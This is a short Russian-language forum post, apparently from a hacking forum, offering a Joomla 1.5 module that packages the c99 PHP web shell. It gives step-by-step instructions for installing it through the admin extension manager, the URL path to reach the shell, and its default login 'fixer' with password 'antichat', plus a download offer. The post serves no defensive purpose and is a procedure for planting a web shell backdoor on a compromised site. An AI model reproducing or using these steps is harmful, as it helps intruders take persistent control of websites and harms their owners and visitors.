Может кому нить пригодится, сам много раз сталкивался с проблемами заливки шелла с админки из за кривых привилегии,
вот сделал простенький модуль mod_joomla_c99shell

1) Заходим в "Менеджер расширений" выбираем "Загрузить файл пакета" загружаем наш файл mod_joomla_c99shell.zip
2) После удачного инсталла переходим в папку http://site.ru/modules/mod_joomla_c99shell/mod_joomla_c99shell.php
3) Заходим на наш шелл логин fixer пароль antichat (после можете поменять все там на свое усмотрение)

Модуль шелла можете скачать тут тестировал на Joomla 1.5.14